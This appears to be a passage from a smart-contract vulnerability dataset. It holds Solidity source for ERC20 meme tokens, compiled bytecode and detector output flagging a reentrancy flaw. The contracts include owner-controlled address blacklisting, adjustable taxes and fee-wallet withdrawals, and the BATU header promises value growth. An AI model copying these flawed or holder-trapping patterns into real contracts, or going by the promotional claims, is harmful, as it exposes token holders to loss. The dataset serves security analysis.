address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount <= _maxTxAmount); require(amount.add(walletBalance) <= _maxHoldAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { uint burnAmount = contractTokenBalance/4; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 100000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setMaxHoldAmount(uint256 maxHoldAmount) external onlyOwner() { if (maxHoldAmount > 200000000 * 10**9) { _maxHoldAmount = maxHoldAmount; } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 20000000 * 10**9; _maxHoldAmount = 20000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 14) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 14) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101395760003560e01c80638da5cb5b116100ab578063b515566a1161006f578063b515566a1461037a578063c3c8cd801461039a578063c9567bf9146103af578063dbe8272c146103c4578063dc1052e2146103e4578063dd62ed3e1461040457600080fd5b80638da5cb5b146102cb578063953c4657146102f357806395d89b41146103135780639e78fb4f14610345578063a9059cbb1461035a57600080fd5b8063273123b7116100fd578063273123b714610225578063313ce5671461024557806346df33b7146102615780636fc3eaec1461028157806370a0823114610296578063715018a6146102b657600080fd5b806306fdde0314610145578063095ea7b31461018e57806318160ddd146101be5780631bbae6e0146101e357806323b872dd1461020557600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600e81526d1511535413114813d18810d5531560921b60208201525b60405161018591906119cf565b60405180910390f35b34801561019a57600080fd5b506101ae6101a9366004611856565b61044a565b6040519015158152602001610185565b3480156101ca57600080fd5b50670de0b6b3a76400005b604051908152602001610185565b3480156101ef57600080fd5b506102036101fe366004611988565b610461565b005b34801561021157600080fd5b506101ae610220366004611815565b6104ad565b34801561023157600080fd5b506102036102403660046117a2565b610516565b34801561025157600080fd5b5060405160098152602001610185565b34801561026d57600080fd5b5061020361027c36600461194e565b610561565b34801561028d57600080fd5b506102036105a9565b3480156102a257600080fd5b506101d56102b13660046117a2565b6105dd565b3480156102c257600080fd5b506102036105ff565b3480156102d757600080fd5b506000546040516001600160a01b039091168152602001610185565b3480156102ff57600080fd5b5061020361030e366004611988565b610673565b34801561031f57600080fd5b5060408051808201909152600981526843554c54454d504c4560b81b6020820152610178565b34801561035157600080fd5b506102036106b2565b34801561036657600080fd5b506101ae610375366004611856565b6108f1565b34801561038657600080fd5b50610203610395366004611882565b6108fe565b3480156103a657600080fd5b50610203610994565b3480156103bb57600080fd5b506102036109d4565b3480156103d057600080fd5b506102036103df366004611988565b610b9f565b3480156103f057600080fd5b506102036103ff366004611988565b610bd7565b34801561041057600080fd5b506101d561041f3660046117dc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610457338484610c0f565b5060015b92915050565b6000546001600160a01b031633146104945760405162461bcd60e51b815260040161048b90611a24565b60405180910390fd5b67016345785d8a00008111156104aa5760108190555b50565b60006104ba848484610d33565b61050c843361050785604051806060016040528060288152602001611bbb602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611076565b610c0f565b5060019392505050565b6000546001600160a01b031633146105405760405162461bcd60e51b815260040161048b90611a24565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461058b5760405162461bcd60e51b815260040161048b90611a24565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105d35760405162461bcd60e51b815260040161048b90611a24565b476104aa816110b0565b6001600160a01b03811660009081526002602052604081205461045b906110ea565b6000546001600160a01b031633146106295760405162461bcd60e51b815260040161048b90611a24565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461069d5760405162461bcd60e51b815260040161048b90611a24565b6702c68af0bb1400008111156104aa57601155565b6000546001600160a01b031633146106dc5760405162461bcd60e51b815260040161048b90611a24565b600f54600160a01b900460ff16156107365760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161048b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561079657600080fd5b505afa1580156107aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ce91906117bf565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561081657600080fd5b505afa15801561082a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084e91906117bf565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561089657600080fd5b505af11580156108aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ce91906117bf565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610457338484610d33565b6000546001600160a01b031633146109285760405162461bcd60e51b815260040161048b90611a24565b60005b81518110156109905760016006600084848151811061094c5761094c611b6b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061098881611b3a565b91505061092b565b5050565b6000546001600160a01b031633146109be5760405162461bcd60e51b815260040161048b90611a24565b60006109c9306105dd565b90506104aa8161116e565b6000546001600160a01b031633146109fe5760405162461bcd60e51b815260040161048b90611a24565b600e54610a1e9030906001600160a01b0316670de0b6b3a7640000610c0f565b600e546001600160a01b031663f305d7194730610a3a816105dd565b600080610a4f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610ab257600080fd5b505af1158015610ac6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aeb91906119a1565b5050600f805466470de4df820000601081905560115563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b6757600080fd5b505af1158015610b7b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104aa919061196b565b6000546001600160a01b03163314610bc95760405162461bcd60e51b815260040161048b90611a24565b600e8110156104aa57600b55565b6000546001600160a01b03163314610c015760405162461bcd60e51b815260040161048b90611a24565b600e8110156104aa57600c55565b6001600160a01b038316610c715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161048b565b6001600160a01b038216610cd25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161048b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d975760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161048b565b6001600160a01b038216610df95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161048b565b60008111610e5b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161048b565b6001600160a01b03831660009081526006602052604090205460ff1615610e8157600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610ec357506001600160a01b03821660009081526005602052604090205460ff16155b15611066576000600955600c54600a55600f546001600160a01b038481169116148015610efe5750600e546001600160a01b03838116911614155b8015610f2357506001600160a01b03821660009081526005602052604090205460ff16155b8015610f385750600f54600160b81b900460ff165b15610f73576000610f48836105dd565b9050601054821115610f5957600080fd5b601154610f6683836112f7565b1115610f7157600080fd5b505b600f546001600160a01b038381169116148015610f9e5750600e546001600160a01b03848116911614155b8015610fc357506001600160a01b03831660009081526005602052604090205460ff16155b15610fd4576000600955600b54600a555b6000610fdf306105dd565b600f54909150600160a81b900460ff1615801561100a5750600f546001600160a01b03858116911614155b801561101f5750600f54600160b01b900460ff165b15611064576000611031600483611ae2565b905061103d8183611b23565b915061104881611356565b6110518261116e565b47801561106157611061476110b0565b50505b505b61107183838361138c565b505050565b6000818484111561109a5760405162461bcd60e51b815260040161048b91906119cf565b5060006110a78486611b23565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610990573d6000803e3d6000fd5b60006007548211156111515760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161048b565b600061115b611397565b905061116783826113ba565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111b6576111b6611b6b565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561120a57600080fd5b505afa15801561121e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124291906117bf565b8160018151811061125557611255611b6b565b6001600160a01b039283166020918202929092010152600e5461127b9130911684610c0f565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112b4908590600090869030904290600401611a59565b600060405180830381600087803b1580156112ce57600080fd5b505af11580156112e2573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806113048385611aca565b9050838110156111675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161048b565b600f805460ff60a81b1916600160a81b179055801561137c5761137c3061dead83610d33565b50600f805460ff60a81b19169055565b6110718383836113fc565b60008060006113a46114f3565b90925090506113b382826113ba565b9250505090565b600061116783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611533565b60008060008060008061140e87611561565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061144090876115be565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461146f90866112f7565b6001600160a01b03891660009081526002602052604090205561149181611600565b61149b848361164a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114e091815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a764000061150e82826113ba565b82101561152a57505060075492670de0b6b3a764000092509050565b90939092509050565b600081836115545760405162461bcd60e51b815260040161048b91906119cf565b5060006110a78486611ae2565b600080600080600080600080600061157e8a600954600a5461166e565b925092509250600061158e611397565b905060008060006115a18e8787876116c3565b919e509c509a509598509396509194505050505091939550919395565b600061116783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611076565b600061160a611397565b905060006116188383611713565b3060009081526002602052604090205490915061163590826112f7565b30600090815260026020526040902055505050565b60075461165790836115be565b60075560085461166790826112f7565b6008555050565b600080808061168860646116828989611713565b906113ba565b9050600061169b60646116828a89611713565b905060006116b3826116ad8b866115be565b906115be565b9992985090965090945050505050565b60008080806116d28886611713565b905060006116e08887611713565b905060006116ee8888611713565b90506000611700826116ad86866115be565b939b939a50919850919650505050505050565b6000826117225750600061045b565b600061172e8385611b04565b90508261173b8583611ae2565b146111675760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161048b565b803561179d81611b97565b919050565b6000602082840312156117b457600080fd5b813561116781611b97565b6000602082840312156117d157600080fd5b815161116781611b97565b600080604083850312156117ef57600080fd5b82356117fa81611b97565b9150602083013561180a81611b97565b809150509250929050565b60008060006060848603121561182a57600080fd5b833561183581611b97565b9250602084013561184581611b97565b929592945050506040919091013590565b6000806040838503121561186957600080fd5b823561187481611b97565b946020939093013593505050565b6000602080838503121561189557600080fd5b823567ffffffffffffffff808211156118ad57600080fd5b818501915085601f8301126118c157600080fd5b8135818111156118d3576118d3611b81565b8060051b604051601f19603f830116810181811085821117156118f8576118f8611b81565b604052828152858101935084860182860187018a101561191757600080fd5b600095505b838610156119415761192d81611792565b85526001959095019493860193860161191c565b5098975050505050505050565b60006020828403121561196057600080fd5b813561116781611bac565b60006020828403121561197d57600080fd5b815161116781611bac565b60006020828403121561199a57600080fd5b5035919050565b6000806000606084860312156119b657600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156119fc578581018301518582016040015282016119e0565b81811115611a0e576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611aa95784516001600160a01b031683529383019391830191600101611a84565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611add57611add611b55565b500190565b600082611aff57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611b1e57611b1e611b55565b500290565b600082821015611b3557611b35611b55565b500390565b6000600019821415611b4e57611b4e611b55565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104aa57600080fd5b80151581146104aa57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122028ef21fca8ff3c5719a169ba24ac4046896a3164bda2cd6db938288da55daba664736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,421
0x17600581dc4f0545637c35a9f63de0bd86e7df87
/** *Submitted for verification at Etherscan.io on 2021-06-29 */ /* ╔══╗╔═══╦════╦╗ ╔╗ ╔═╗ ║╔╗║║╔═╗║╔╗╔╗║║ ║║ ║╔╝ ║╚╝╚╣║ ║╠╝║║╚╣║ ║║ ╔╝╚╦╦═╗╔══╦═╗╔══╦══╗ ║╔═╗║╚═╝║ ║║ ║║ ║║ ╚╗╔╬╣╔╗╣╔╗║╔╗╣╔═╣║═╣ ║╚═╝║╔═╗║ ║║ ║╚═╝║ ╔╗ ║║║║║║║╔╗║║║║╚═╣║═╣ ╚═══╩╝ ╚╝ ╚╝ ╚═══╝ ╚╝ ╚╝╚╩╝╚╩╝╚╩╝╚╩══╩══╝ $BATU - THE PREMIER NFT MEME TOKEN ! Website: https://batu.finance Telegram: t.me/BatuFinance Twitter: twitter.com/BatuFinance Batu’s ($BATU) mission is to bring fresh utility to the meme-token space, with a strong emphasis on creating exclusive, luxury NFT’s and art-offerings to crypto enthusiasts worldwide. BATU has integrated the most advanced tokenomics in the space, creating a token that is designed to go up in value. BATU has no sale limitations, and an innovative dynamic reflection tax rate which increases proportionate to the size of the sell. TOKENOMICS: Liquidity locked, ownership renounced No pre-sale, no team wallets 1,000,000,000,000 token supply - 100% added to Uniswap liquidity pool FIRST TWO MINUTES: 3,000,000,000 max buy / 45-second buy cooldown (these limitations are lifted automatically two minutes post-launch) 15-second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS No buy or sell token limits. Whales are welcome! 10% total tax on buy Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT. A unique approach to resolving the huge dumps after long pumps that have plagued every NotInu fork :) Shout-out to Musubi, Myobu, DonShiba developers for laying down the foundation of these awesome tokenomics :) SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BATU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"BATU.Finance | t.me/BatuFinance"; string private constant _symbol = unicode"BATU"; uint8 private constant _decimals = 9; uint256 private _taxFee = 6; uint256 private _teamFee = 4; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(6)).div(10); _teamFee = (_impactFee.mul(4)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 6; _teamFee = 4; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = 